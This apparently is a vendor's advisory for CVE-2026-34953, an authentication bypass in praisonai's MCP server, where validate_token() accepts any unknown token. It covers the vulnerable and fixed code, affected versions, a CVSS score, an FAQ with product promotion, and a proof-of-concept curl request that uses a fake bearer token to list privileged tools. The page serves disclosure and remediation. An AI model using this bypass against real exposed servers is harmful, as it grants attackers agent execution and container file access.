CVE-2026-34953

OAuthManager.validate_token() returns True for any token not found in its internal store, which is empty by default. Any HTTP request to the MCP server with an arbitrary Bearer token is treated as authenticated, granting full access to all registered tools and agent capabilities.

Details

oauth.py:364 (source) -> oauth.py:374 (loop miss) -> oauth.py:381 (sink)

# source
def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()

# sink -- _tokens is empty by default, loop never executes, falls through
    return True

PoC

# install: pip install -e src/praisonai
# start server: praisonai mcp serve --transport http-stream --port 8080

curl -s -X POST http://127.0.0.1:8080/mcp \
  -H "Authorization: Bearer fake_token_abc123" \
  -H "Content-Type: application/json" \
  -d '{"jsonrpc":"2.0","method":"tools/list","id":1}'

# expected output: 200 OK with full tool list (50+ tools)
# including praisonai.agent.run, praisonai.workflow.run, praisonai.containers.file_write

Any unauthenticated attacker with network access to the MCP HTTP server can call all registered tools including agent execution, workflow runs, container file read/write, and skill loading. The server binds to 0.0.0.0 by default with no API key required.

The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions. Typical impact: unauthorized data access or execution of privileged operations.

CVE-2026-34953 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.97); upgrading removes the vulnerable code path.

Kodem intelligence

def validate_token(self, token: str) -> bool:
    for stored_token in self._tokens.values():
        if stored_token.access_token == token:
            return not stored_token.is_expired()
    # Unknown tokens must be rejected.
    # For external/JWT tokens, call the introspection endpoint here before returning.
    return False

1. What is CVE-2026-34953? CVE-2026-34953 is a critical-severity incorrect authorization vulnerability in praisonai (pip), affecting versions <= 4.5.96. It is fixed in 4.5.97. The application does not correctly enforce access controls, allowing a principal to access resources or operations beyond their granted permissions.
2. How severe is CVE-2026-34953? CVE-2026-34953 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of praisonai are affected by CVE-2026-34953? praisonai (pip) versions <= 4.5.96 is affected.
4. Is there a fix for CVE-2026-34953? Yes. CVE-2026-34953 is fixed in 4.5.97. Upgrade to this version or later.
5. Is CVE-2026-34953 exploitable, and should I be worried? Whether CVE-2026-34953 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-34953 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-34953? Upgrade praisonai to 4.5.97 or later.